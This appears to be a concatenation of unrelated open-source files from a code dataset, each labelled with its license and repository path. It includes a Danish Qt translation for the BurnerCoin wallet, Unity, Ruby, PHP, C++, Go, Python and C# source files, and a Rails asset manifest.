<message> <location line="+28"/> <source>Output extra debugging information. Implies all other -debug* options</source> <translation>Output ekstra debugging information. Indebærer alle andre-debug * muligheder</translation> </message> <message> <location line="+1"/> <source>Output extra network debugging information</source> <translation>Output ekstra netværk debugging information</translation> </message> <message> <location line="+1"/> <source>Prepend debug output with timestamp</source> <translation>Prepend debug output med tidsstempel</translation> </message> <message> <location line="+35"/> <source>SSL options: (see the Bitcoin Wiki for SSL setup instructions)</source> <translation>SSL-indstillinger: (se Bitcoin Wiki for SSL-opsætningsinstruktioner)</translation> </message> <message> <location line="-74"/> <source>Select the version of socks proxy to use (4-5, default: 5)</source> <translation>Vælg den version af socks proxy du vil bruge (4-5, standard: 5)</translation> </message> <message> <location line="+41"/> <source>Send trace/debug info to console instead of debug.log file</source> <translation>Send sporings-/fejlsøgningsinformation til konsollen i stedet for debug.log filen</translation> </message> <message> <location line="+1"/> <source>Send trace/debug info to debugger</source> <translation>Send trace / debug info til debugger</translation> </message> <message> <location line="+28"/> <source>Set maximum block size in bytes (default: 250000)</source> <translation>Indstil maks. blok størrelse i bytes (standard: 250000)</translation> </message> <message> <location line="-1"/> <source>Set minimum block size in bytes (default: 0)</source> <translation>Angiv minimumsblokstørrelse i bytes (standard: 0)</translation> </message> <message> <location line="-29"/> <source>Shrink debug.log file on client startup (default: 1 when no -debug)</source> <translation>Formindsk debug.log filen ved klientopstart (standard: 1 hvis ikke -debug)</translation> </message> <message> <location line="-42"/> <source>Specify connection timeout in milliseconds (default: 5000)</source> <translation>Angiv tilslutningstimeout i millisekunder (standard: 5000)</translation> </message> <message> <location line="+109"/> <source>Unable to sign checkpoint, wrong checkpointkey? </source> <translation>Kan ikke logge checkpoint, forkert checkpointkey? </translation> </message> <message> <location line="-80"/> <source>Use UPnP to map the listening port (default: 0)</source> <translation>Forsøg at bruge UPnP til at konfigurere den lyttende port (standard: 0)</translation> </message> <message> <location line="-1"/> <source>Use UPnP to map the listening port (default: 1 when listening)</source> <translation>Forsøg at bruge UPnP til at konfigurere den lyttende port (standard: 1 når lytter)</translation> </message> <message> <location line="-25"/> <source>Use proxy to reach tor hidden services (default: same as -proxy)</source> <translation>Brug proxy til at nå tor skjulte services (Standard: samme som-proxy)</translation> </message> <message> <location line="+42"/> <source>Username for JSON-RPC connections</source> <translation>Brugernavn til JSON-RPC-forbindelser</translation> </message> <message> <location line="+47"/> <source>Verifying database integrity...</source> <translation>Bekræfter database integritet ...</translation> </message> <message> <location line="+57"/> <source>WARNING: syncronized checkpoint violation detected, but skipped!</source> <translation>ADVARSEL: synkroniseret checkpoint overtrædelse opdaget, men skibbet!</translation> </message> <message> <location line="+1"/> <source>Warning: Disk space is low!</source> <translation>Advarsel: Diskplads lav!</translation> </message> <message> <location line="-2"/> <source>Warning: This version is obsolete, upgrade required!</source> <translation>Advarsel: Denne version er forældet, opgradering påkrævet!</translation> </message> <message> <location line="-48"/> <source>wallet.dat corrupt, salvage failed</source> <translation>wallet.dat ødelagt, redning af data mislykkedes</translation> </message> <message> <location line="-54"/> <source>Password for JSON-RPC connections</source> <translation>Adgangskode til JSON-RPC-forbindelser</translation> </message> <message> <location line="-84"/> <source>%s, you must set a rpcpassword in the configuration file: %s It is recommended you use the following random password: rpcuser=burnercoinrpc rpcpassword=%s (you do not need to remember this password) The username and password MUST NOT be the same. If the file does not exist, create it with owner-readable-only file permissions. It is also recommended to set alertnotify so you are notified of problems; for example: alertnotify=echo %%s | mail -s &quot;BurnerCoin Alert&quot; admin@foo.com </source> <translation>% s, skal du indstille et rpcpassword i konfigurationsfilen: % s Det anbefales at bruge følgende tilfældig adgangskode: rpcuser = burnercoinrpc rpcpassword =% s (du behøver ikke at huske denne adgangskode) Brugernavn og adgangskode må ikke være den samme. Hvis filen ikke findes, skal du oprette den med filtilladelser ejer-læsbar-kun. Det kan også anbefales at sætte alertnotify så du får besked om problemer; for eksempel: alertnotify = echo%% s | mail-s &quot;BurnerCoin Alert&quot; admin@foo.com </translation> </message> <message> <location line="+51"/> <source>Find peers using internet relay chat (default: 0)</source> <translation>Find peers der bruger internet relay chat (default: 1) {? 0)}</translation> </message> <message> <location line="+5"/> <source>Sync time with other nodes. Disable if time on your system is precise e.g. syncing with NTP (default: 1)</source> <translation>Synkroniser tid med andre noder. Deaktiver, hvis tiden på dit system er præcis eksempelvis synkroniseret med NTP (default: 1)</translation> </message> <message> <location line="+15"/> <source>When creating transactions, ignore inputs with value less than this (default: 0.01)</source> <translation>Når du opretter transaktioner ignoreres input med værdi mindre end dette (standard: 0,01)</translation> </message> <message> <location line="+16"/> <source>Allow JSON-RPC connections from specified IP address</source> <translation>Tillad JSON-RPC-forbindelser fra bestemt IP-adresse</translation> </message> <message> <location line="+1"/> <source>Send commands to node running on &lt;ip&gt; (default: 127.0.0.1)</source> <translation>Send kommandoer til knude, der kører på &lt;ip&gt; (standard: 127.0.0.1)</translation> </message> <message> <location line="+1"/> <source>Execute command when the best block changes (%s in cmd is replaced by block hash)</source> <translation>Udfør kommando, når den bedste blok ændres (%s i kommandoen erstattes med blokhash)</translation> </message> <message> <location line="+3"/> <source>Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)</source> <translation>Udfør kommando, når en transaktion i tegnebogen ændres (%s i kommandoen erstattes med TxID)</translation> </message> <message> <location line="+3"/> <source>Require a confirmations for change (default: 0)</source> <translation>Kræver en bekræftelser for forandring (default: 0)</translation> </message> <message> <location line="+1"/> <source>Enforce transaction scripts to use canonical PUSH operators (default: 1)</source> <translation>Gennemtving transaktions omkostninger scripts til at bruge canoniske PUSH operatører (default: 1)</translation> </message> <message> <location line="+2"/> <source>Execute command when a relevant alert is received (%s in cmd is replaced by message)</source> <translation>Udfør kommando, når en relevant advarsel er modtaget (% s i cmd erstattes af meddelelse)</translation> </message> <message> <location line="+3"/> <source>Upgrade wallet to latest format</source> <translation>Opgrader tegnebog til seneste format</translation> </message> <message> <location line="+1"/> <source>Set key pool size to &lt;n&gt; (default: 100)</source> <translation>Angiv nøglepoolstørrelse til &lt;n&gt; (standard: 100)</translation> </message> <message> <location line="+1"/> <source>Rescan the block chain for missing wallet transactions</source> <translation>Gennemsøg blokkæden for manglende tegnebogstransaktioner</translation> </message> <message> <location line="+2"/> <source>How many blocks to check at startup (default: 2500, 0 = all)</source> <translation>Hvor mange blokke til at kontrollere ved opstart (standard: 2500, 0 = alle)</translation> </message> <message> <location line="+1"/> <source>How thorough the block verification is (0-6, default: 1)</source> <translation>Hvor grundig blok verifikation er (0-6, default: 1)</translation> </message> <message> <location line="+1"/> <source>Imports blocks from external blk000?.dat file</source> <translation>Importere blokke fra ekstern blk000?. Dat fil</translation> </message> <message> <location line="+8"/> <source>Use OpenSSL (https) for JSON-RPC connections</source> <translation>Brug OpenSSL (https) for JSON-RPC-forbindelser</translation> </message> <message> <location line="+1"/> <source>Server certificate file (default: server.cert)</source> <translation>Servercertifikat-fil (standard: server.cert)</translation> </message> <message> <location line="+1"/> <source>Server private key (default: server.pem)</source> <translation>Serverens private nøgle (standard: server.pem)</translation> </message> <message> <location line="+1"/> <source>Acceptable ciphers (default: TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH)</source> <translation>Acceptable ciphers (default: TLSv1 + HØJ:! SSLv2: aNULL: eNULL: AH: 3DES: @ styrke)</translation> </message> <message> <location line="+53"/> <source>Error: Wallet unlocked for staking only, unable to create transaction.</source> <translation>Fejl: Pung låst for at udregne rente, ude af stand til at skabe transaktion.</translation> </message> <message> <location line="+18"/> <source>WARNING: Invalid checkpoint found! Displayed transactions may not be correct! You may need to upgrade, or notify developers.</source> <translation>ADVARSEL: Ugyldig checkpoint fundet! Viste transaktioner er måske ikke korrekte! Du kan være nødt til at opgradere, eller underrette udviklerne.</translation> </message> <message> <location line="-158"/> <source>This help message</source> <translation>Denne hjælpebesked</translation> </message> <message> <location line="+95"/> <source>Wallet %s resides outside data directory %s.</source> <translation>Wallet% s placeret udenfor data mappe% s.</translation> </message> <message> <location line="+1"/> <source>Cannot obtain a lock on data directory %s. BurnerCoin is probably already running.</source> <translation>Kan ikke få en lås på data mappe% s. BurnerCoin kører sikkert allerede.</translation> </message> <message> <location line="-98"/> <source>BurnerCoin</source> <translation>BurnerCoin</translation> </message> <message> <location line="+140"/> <source>Unable to bind to %s on this computer (bind returned error %d, %s)</source> <translation>Kunne ikke tildele %s på denne computer (bind returnerede fejl %d, %s)</translation> </message> <message> <location line="-130"/> <source>Connect through socks proxy</source> <translation>Tilslut gennem socks proxy</translation> </message> <message> <location line="+3"/> <source>Allow DNS lookups for -addnode, -seednode and -connect</source> <translation>Tillad DNS-opslag for -addnode, -seednode og -connect</translation> </message> <message> <location line="+122"/> <source>Loading addresses...</source> <translation>Indlæser adresser...</translation> </message> <message> <location line="-15"/> <source>Error loading blkindex.dat</source> <translation>Fejl ved indlæsning af blkindex.dat</translation> </message> <message> <location line="+2"/> <source>Error loading wallet.dat: Wallet corrupted</source> <translation>Fejl ved indlæsning af wallet.dat: Tegnebog ødelagt</translation> </message> <message> <location line="+4"/> <source>Error loading wallet.dat: Wallet requires newer version of BurnerCoin</source> <translation>Fejl ved indlæsning af wallet.dat: Wallet kræver en nyere version af BurnerCoin</translation> </message> <message> <location line="+1"/> <source>Wallet needed to be rewritten: restart BurnerCoin to complete</source> <translation>Det er nødvendig for wallet at blive omskrevet: Genstart BurnerCoin for fuldføre</translation> </message> <message> <location line="+1"/> <source>Error loading wallet.dat</source> <translation>Fejl ved indlæsning af wallet.dat</translation> </message> <message> <location line="-16"/> <source>Invalid -proxy address: &apos;%s&apos;</source> <translation>Ugyldig -proxy adresse: &apos;%s&apos;</translation> </message> <message> <location line="-1"/> <source>Unknown network specified in -onlynet: &apos;%s&apos;</source> <translation>Ukendt netværk anført i -onlynet: &apos;%s&apos;</translation> </message> <message> <location line="-1"/> <source>Unknown -socks proxy version requested: %i</source> <translation>Ukendt -socks proxy-version: %i</translation> </message> <message> <location line="+4"/> <source>Cannot resolve -bind address: &apos;%s&apos;</source> <translation>Kan ikke finde -bind adressen: &apos;%s&apos;</translation> </message> <message> <location line="+2"/> <source>Cannot resolve -externalip address: &apos;%s&apos;</source> <translation>Kan ikke finde -externalip adressen: &apos;%s&apos;</translation> </message> <message> <location line="-24"/> <source>Invalid amount for -paytxfee=&lt;amount&gt;: &apos;%s&apos;</source> <translation>Ugyldigt beløb for -paytxfee=&lt;amount&gt;: &apos;%s&apos;</translation> </message> <message> <location line="+44"/> <source>Error: could not start node</source> <translation>Fejl: kunne ikke starte node</translation> </message> <message> <location line="+11"/> <source>Sending...</source> <translation>Sender...</translation> </message> <message> <location line="+5"/> <source>Invalid amount</source> <translation>Ugyldigt beløb</translation> </message> <message> <location line="+1"/> <source>Insufficient funds</source> <translation>Manglende dækning</translation> </message> <message> <location line="-34"/> <source>Loading block index...</source> <translation>Indlæser blokindeks...</translation> </message> <message> <location line="-103"/> <source>Add a node to connect to and attempt to keep the connection open</source> <translation>Tilføj en knude til at forbinde til og forsøg at holde forbindelsen åben</translation> </message> <message> <location line="+122"/> <source>Unable to bind to %s on this computer. BurnerCoin is probably already running.</source> <translation>Kunne ikke binde sig til% s på denne computer. BurnerCoin kører sikkert allerede.</translation> </message> <message> <location line="-97"/> <source>Fee per KB to add to transactions you send</source> <translation>Gebyr pr KB som tilføjes til transaktioner, du sender</translation> </message> <message> <location line="+55"/> <source>Invalid amount for -mininput=&lt;amount&gt;: &apos;%s&apos;</source> <translation>Ugyldigt beløb for-mininput = &lt;beløb&gt;: &apos;% s&apos;</translation> </message> <message> <location line="+25"/> <source>Loading wallet...</source> <translation>Indlæser tegnebog...</translation> </message> <message> <location line="+8"/> <source>Cannot downgrade wallet</source> <translation>Kan ikke nedgradere tegnebog</translation> </message> <message> <location line="+1"/> <source>Cannot initialize keypool</source> <translation>Kan ikke initialisere keypool</translation> </message> <message> <location line="+1"/> <source>Cannot write default address</source> <translation>Kan ikke skrive standardadresse</translation> </message> <message> <location line="+1"/> <source>Rescanning...</source> <translation>Genindlæser...</translation> </message> <message> <location line="+5"/> <source>Done loading</source> <translation>Indlæsning gennemført</translation> </message> <message> <location line="-167"/> <source>To use the %s option</source> <translation>For at bruge %s mulighed</translation> </message> <message> <location line="+14"/> <source>Error</source> <translation>Fejl</translation> </message> <message> <location line="+6"/> <source>You must set rpcpassword=&lt;password&gt; in the configuration file: %s If the file does not exist, create it with owner-readable-only file permissions.</source> <translation>Du skal angive rpcpassword=&lt;password&gt; i konfigurationsfilen: %s Hvis filen ikke eksisterer, opret den og giv ingen andre end ejeren læserettighed.</translation> </message> </context> </TS>
mit
RikoOphorst/LudumDare38
LD38/Assets/NotificationCenter/NotificationCenter.cs
2081
using System.Collections; using System.Collections.Generic; using UnityEngine; public enum NotificationToastType { NotificationToastPositive, NotificationToastNegative, NotificationToastWarning, NotificationToastNeutral } public class NotificationCenter : MonoBehaviour { public NotificationToast toastPrefab; private Transform toastGroup; private List<NotificationToast> toasts; private int numTests; void Start () { toasts = new List<NotificationToast>(); toastGroup = transform.FindChild("NotificationToasts"); CreateNotification("hello1", NotificationToastType.NotificationToastPositive); CreateNotification("hello2", NotificationToastType.NotificationToastPositive); CreateNotification("hello3", NotificationToastType.NotificationToastPositive); CreateNotification("hello4", NotificationToastType.NotificationToastPositive); CreateNotification("hello5", NotificationToastType.NotificationToastPositive); CreateNotification("hello6", NotificationToastType.NotificationToastPositive); CreateNotification("hello7", NotificationToastType.NotificationToastPositive); numTests = 0; } void Update () { if (Input.GetKeyDown(KeyCode.J)) { CreateNotification("This is test #" + ++numTests, NotificationToastType.NotificationToastPositive); } } public void CreateNotification(string text, NotificationToastType toastType) { for (int i = 0; i < toasts.Count; i++) { toasts[i].transform.localPosition += new Vector3(0.0f, 70.0f, 0.0f); } NotificationToast toast = Instantiate(toastPrefab, Vector3.zero, Quaternion.identity, toastGroup); toast.transform.localScale = new Vector3(1.0f, 1.0f, 1.0f); toast.transform.localPosition = new Vector3(0.0f, 5.0f, 0.0f); toasts.Add(toast); toast.SetText(text); if (toasts.Count > 5) { Destroy(toasts[0].gameObject); toasts.RemoveAt(0); } } }
mit
stoplightio/gitlabhq
spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
1280
# frozen_string_literal: true require 'spec_helper' describe Banzai::Filter::InlineMetricsRedactorFilter do include FilterSpecHelper set(:project) { create(:project) } let(:url) { urls.metrics_dashboard_project_environment_url(project, 1, embedded: true) } let(:input) { %(<a href="#{url}">example</a>) } let(:doc) { filter(input) } context 'without a metrics charts placeholder' do it 'leaves regular non-metrics links unchanged' do expect(doc.to_s).to eq input end end context 'with a metrics charts placeholder' do let(:input) { %(<div class="js-render-metrics" data-dashboard-url="#{url}"></div>) } context 'no user is logged in' do it 'redacts the placeholder' do expect(doc.to_s).to be_empty end end context 'the user does not have permission do see charts' do let(:doc) { filter(input, current_user: build(:user)) } it 'redacts the placeholder' do expect(doc.to_s).to be_empty end end context 'the user has requisite permissions' do let(:user) { create(:user) } let(:doc) { filter(input, current_user: user) } it 'leaves the placeholder' do project.add_maintainer(user) expect(doc.to_s).to eq input end end end end
mit
tiipiik/oc-catalog
updates/create_brands_table.php
1557
<?php namespace TiipiiK\Catalog\Updates; use Schema; use October\Rain\Database\Updates\Migration; class CreateBrandsTable extends Migration { public function up() { Schema::create('tiipiik_catalog_brands', function ($table) { $table->engine = 'InnoDB'; $table->increments('id'); $table->string('name')->unique()->nullable(); $table->string('slug')->unique()->nullable(); $table->text('description')->nullable(); $table->timestamp('published_at')->nullable(); $table->boolean('published')->default(false); $table->timestamps(); }); // Relation between brand and products Schema::table('tiipiik_catalog_products', function ($table) { $table->integer('brand_id')->after('group_id')->unsigned(); }); Schema::create('tiipiik_catalog_products_brands', function ($table) { $table->engine = 'InnoDB'; $table->integer('product_id')->unsigned(); $table->integer('brand_id')->unsigned(); $table->primary(['product_id', 'brand_id']); }); } public function down() { Schema::dropIfExists('tiipiik_catalog_brands'); Schema::dropIfExists('tiipiik_catalog_products_brands'); if (Schema::hasColumn('tiipiik_catalog_products', 'brand_id')) { Schema::table('tiipiik_catalog_products', function ($table) { $table->dropColumn('brand_id'); }); } } }
mit
ap--/python-seabreeze
src/libseabreeze/src/common/features/FeatureImpl.cpp
2737
/***************************************************//** * @file FeatureImpl.cpp * @date March 2016 * @author Ocean Optics, Inc. * * LICENSE: * * SeaBreeze Copyright (C) 2016, Ocean Optics Inc * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject * to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *******************************************************/ #include "common/globals.h" #include "common/features/FeatureImpl.h" using namespace seabreeze; using namespace std; FeatureImpl::FeatureImpl() { /* TODO: if it can be done cleanly, this should take the * vector<ProtocolHelper *> list and apply it here. This would make * the constructor symmetric with the destructor and remove a lot of * redundancy. The only question is whether the list can be created * satisfactorily within the constructor chain. */ } FeatureImpl::~FeatureImpl() { vector<ProtocolHelper *>::iterator iter; for(iter = this->protocols.begin(); iter != this->protocols.end(); iter++) { delete (*iter); } } bool FeatureImpl::initialize(const Protocol &protocol, const Bus &bus) { /* Override this to initialize device, and/or return a different status */ return true; } ProtocolHelper *FeatureImpl::lookupProtocolImpl(const Protocol &protocol) { vector<ProtocolHelper *>::iterator iter; ProtocolHelper *retval = NULL; for(iter = this->protocols.begin(); iter != this->protocols.end(); iter++) { if((*iter)->getProtocol().equals(protocol)) { retval = *iter; break; } } if(NULL == retval) { string error("Could not find matching protocol implementation."); throw FeatureProtocolNotFoundException(error); } return retval; }
mit
lujin123/algorithms
leetcode/golang/896_test.go
419
package leetcode import ( "testing" "github.com/stretchr/testify/assert" ) func TestIsMonotonic(t *testing.T) { assert.EqualValues(t, true, isMonotonic([]int{1, 2, 2, 3})) assert.EqualValues(t, true, isMonotonic([]int{6, 5, 4, 4})) assert.EqualValues(t, false, isMonotonic([]int{1, 3, 2})) assert.EqualValues(t, true, isMonotonic([]int{1, 2, 4, 5})) assert.EqualValues(t, true, isMonotonic([]int{1, 1, 1})) }
mit
Schille/weimar-graphstore
test_insert.py
2222
import Pyro4 import time import multiprocessing as mp from client.requestgraphelements import RequestVertex from client.elementtype import VertexType import sys import Queue from client.hyperdexgraph import HyperDexGraph from client.requestgraphelements import * import names, random import remote.config import time def req(people): Pyro4.config.SERIALIZER = 'pickle' Pyro4.config.HMAC_KEY='weimar-graphstore' g=HyperDexGraph(remote.config.WEIMAR_ADDRESS_OUTSIDE, remote.config.WEIMAR_PORT_OUTSIDE, 'default') while(not people.empty()): try: p = people.get(False) g.insert_vertex(RequestVertex(user, {'first':p[0], 'last':p[1], 'age':p[2]})) except Queue.Empty: return def printer(people): i = 5 old=people.qsize() print('People to be inserted: ' + str(old)) while(not people.empty()): throughput = (old - people.qsize()) / float(i) print('Approximate {} insert/s'.format(throughput)) old=people.qsize() time.sleep(i) V_COUNT = 10000 print('Creating People') people = mp.Queue() for i in xrange(0, V_COUNT): people.put((names.get_first_name(), names.get_last_name(), random.randint(0, 100))) print('Creating People...Done') print('Creating VertexType User') g=HyperDexGraph(remote.config.WEIMAR_ADDRESS_OUTSIDE, remote.config.WEIMAR_PORT_OUTSIDE, 'default') user_type=RequestVertexType('User', ('string', 'first'), ('string', 'last'), ('int', 'age')) user=g.create_vertex_type(user_type) print('Creating VertexType User...Done') try: processes = [] print('Loading People...') k = mp.Process(target=printer, args=((people),)) k.start() start = time.time() for i in xrange(0,10): p = mp.Process(target=req, args=((people),)) processes.append(p) [p.start() for p in processes] [p.join() for p in processes] end = time.time() k.terminate() print('== Time consumed: {}s for {} vertices =='.format(end - start, user.count())) print('Average insert rate is {}'.format(float(user.count()) / float(end - start))) user.remove() except Exception, e: print(e) user.remove() sys.exit(0)
mit
thaigialai1987/quanlycongvan
app/Models/Nguoiky.php
670
<?php namespace App\Models; use Eloquent as Model; use Illuminate\Database\Eloquent\SoftDeletes; /** * Class Nguoiky * @package App\Models * @version October 16, 2016, 2:19 am UTC */ class Nguoiky extends Model { use SoftDeletes; public $table = 'nguoikies'; protected $dates = ['deleted_at']; public $fillable = [ 'name' ]; /** * The attributes that should be casted to native types. * * @var array */ protected $casts = [ 'name' => 'string' ]; /** * Validation rules * * @var array */ public static $rules = [ 'name' => 'required' ]; }
mit
BlueSkeye/CSCapstone
CSCapstone/CapstoneProxyImport.cs
768
using System; using System.Runtime.InteropServices; namespace CSCapstone { /// <summary> /// Capstone Proxy Import. /// </summary> public static class CapstoneProxyImport { [DllImport("CSCapstone.Proxy.dll", CallingConvention = CallingConvention.Cdecl, EntryPoint = "CapstoneArmDetail")] public static extern IntPtr ArmDetail(IntPtr pDetail); [DllImport("CSCapstone.Proxy.dll", CallingConvention = CallingConvention.Cdecl, EntryPoint = "CapstoneArm64Detail")] public static extern IntPtr Arm64Detail(IntPtr pDetail); [DllImport("CSCapstone.Proxy.dll", CallingConvention = CallingConvention.Cdecl, EntryPoint = "CapstoneX86Detail")] public static extern IntPtr X86Detail(IntPtr pDetail); } }
mit
DavidLievrouw/WordList
src/WordList.Tests/Processing/WordCombinationFinderTests.cs
5152
using System; using System.Collections.Generic; using FakeItEasy; using NUnit.Framework; namespace WordList.Processing { [TestFixture] public class WordCombinationFinderTests { int _desiredLength; WordCombinationFinder _sut; IWordsIndexFactory _wordsIndexFactory; IAllPossibleCombinationsFinder _allPossibleCombinationsFinder; IWordCombinationFilter _wordCombinationFilter; [SetUp] public virtual void SetUp() { _desiredLength = 6; _wordsIndexFactory = A.Fake<IWordsIndexFactory>(); _allPossibleCombinationsFinder = A.Fake<IAllPossibleCombinationsFinder>(); _wordCombinationFilter = A.Fake<IWordCombinationFilter>(); _sut = new WordCombinationFinder(_desiredLength, _wordsIndexFactory, _allPossibleCombinationsFinder, _wordCombinationFilter); } [TestFixture] public class Construction : WordCombinationFinderTests { [TestCase(0)] [TestCase(-1)] [TestCase(int.MinValue)] public void GivenInvalidDesiredLength_Throws(int invalidDesiredLength) { Assert.Throws<ArgumentOutOfRangeException>(() => new WordCombinationFinder(invalidDesiredLength, _wordsIndexFactory, _allPossibleCombinationsFinder, _wordCombinationFilter)); } [Test] public void GivenNullWordIndexFactory_Throws() { Assert.Throws<ArgumentNullException>(() => new WordCombinationFinder(_desiredLength, null, _allPossibleCombinationsFinder, _wordCombinationFilter)); } [Test] public void GivenNullAllCombinationsFinder_Throws() { Assert.Throws<ArgumentNullException>(() => new WordCombinationFinder(_desiredLength, _wordsIndexFactory, null, _wordCombinationFilter)); } [Test] public void GivenNullCombinationFilter_Throws() { Assert.Throws<ArgumentNullException>(() => new WordCombinationFinder(_desiredLength, _wordsIndexFactory, _allPossibleCombinationsFinder, null)); } } [TestFixture] public class FindCombinations : WordCombinationFinderTests { [Test] public void GivenNullWords_Throws() { Assert.Throws<ArgumentNullException>(() => _sut.FindCombinations(null)); } [Test] public void GivenWordList_FindsValidCombinations() { var allWords = new[] { new Word("albums"), new Word("al"), new Word("u"), new Word("ticket"), new Word("foul"), new Word("be"), new Word("befoul"), new Word("magazine"), new Word("bums"), new Word("trump") }; var wordsIndex = new FakeWordsIndex(allWords); A.CallTo(() => _wordsIndexFactory.Create(allWords)).Returns(wordsIndex); var allPossibleCombinations = new[] { new WordCombination(new Word("al"), new Word("bums")), new WordCombination(new Word("be"), new Word("foul")), new WordCombination(new Word("al"), new Word("foul")), new WordCombination(new Word("be"), new Word("bums")), new WordCombination(new Word("u"), new Word("trump")), new WordCombination(new Word("bums"), new Word("al")), new WordCombination(new Word("foul"), new Word("be")), new WordCombination(new Word("foul"), new Word("al")), new WordCombination(new Word("bums"), new Word("be")), new WordCombination(new Word("trump"), new Word("u")) }; A.CallTo(() => _allPossibleCombinationsFinder.FindAllPossibleCombinationsOfLength(wordsIndex, _desiredLength)) .Returns(allPossibleCombinations); var validCombinations = new[] { new WordCombination(new Word("al"), new Word("bums")), new WordCombination(new Word("be"), new Word("foul")) }; var wordsWithRequestedLength = wordsIndex.GetWordsOfLength(_desiredLength); A.CallTo(() => _wordCombinationFilter.FilterByListOfPossibleWords(allPossibleCombinations, A<IEnumerable<Word>>.That.IsSameSequenceAs(wordsWithRequestedLength))) .Returns(validCombinations); var actual = _sut.FindCombinations(allWords); Assert.That(actual, Is.EquivalentTo(validCombinations)); } [Test] public void GivenWordList_ReturnsDistinctValidCombinations() { var validCombinations = new[] { new WordCombination(new Word("al"), new Word("bums")), new WordCombination(new Word("be"), new Word("foul")), new WordCombination(new Word("bums"), new Word("al")), new WordCombination(new Word("al"), new Word("bums")) }; A.CallTo(() => _wordCombinationFilter.FilterByListOfPossibleWords(A<IEnumerable<WordCombination>>._, A<IEnumerable<Word>>._)) .Returns(validCombinations); var expectedCombinations = new[] { new WordCombination(new Word("al"), new Word("bums")), new WordCombination(new Word("be"), new Word("foul")), new WordCombination(new Word("bums"), new Word("al")) }; var actual = _sut.FindCombinations(A.Dummy<IEnumerable<Word>>()); Assert.That(actual, Is.EquivalentTo(expectedCombinations)); } } } }
mit
zigomir/rubber_ring
app/assets/javascripts/rubber_ring/application.js
684
// This is a manifest file that'll be compiled into application.js, which will include all the files // listed below. // // Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts, // or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path. // // It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the // compiled file. // // WARNING: THE FIRST BLANK LINE MARKS THE END OF WHAT'S TO BE PROCESSED, ANY BLANK LINE SHOULD // GO AFTER THE REQUIRES BELOW. // //= require jquery //= require jquery-ui //= require jquery_ujs //= require_tree ../libs //= require_tree .
mit
aqtrans/gothing
things/things.go
1629
package things // Thing is the interface that all applicable things should implement type Thing interface { Name() string UpdateHits() Date() int64 GetType() string } // Sorting functions type ThingByDate []Thing func (a ThingByDate) Len() int { return len(a) } func (a ThingByDate) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ThingByDate) Less(i, j int) bool { return a[i].Date() > a[j].Date() } type ScreenshotByDate []*Screenshot func (a ScreenshotByDate) Len() int { return len(a) } func (a ScreenshotByDate) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ScreenshotByDate) Less(i, j int) bool { return a[i].Created > a[j].Created } type ImageByDate []*Image func (a ImageByDate) Len() int { return len(a) } func (a ImageByDate) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ImageByDate) Less(i, j int) bool { return a[i].Created > a[j].Created } type PasteByDate []*Paste func (a PasteByDate) Len() int { return len(a) } func (a PasteByDate) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a PasteByDate) Less(i, j int) bool { return a[i].Created > a[j].Created } type FileByDate []*File func (a FileByDate) Len() int { return len(a) } func (a FileByDate) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a FileByDate) Less(i, j int) bool { return a[i].Created > a[j].Created } type ShortByDate []*Shorturl func (a ShortByDate) Len() int { return len(a) } func (a ShortByDate) Swap(i, j int) { a[i], a[j] = a[j], a[i] } func (a ShortByDate) Less(i, j int) bool { return a[i].Created > a[j].Created }
mit
sanderblue/polymath
tests/bootstrap.php
219
<?php require_once dirname(__DIR__) . '/vendor/autoload.php'; call_user_func(function() { $loader = new \Composer\Autoload\ClassLoader(); $loader->add('Polymath\Test', __DIR__); $loader->register(); });
mit
rivetweb/rodzeta.pageoptimizeplus
lang/ru/options.php
905
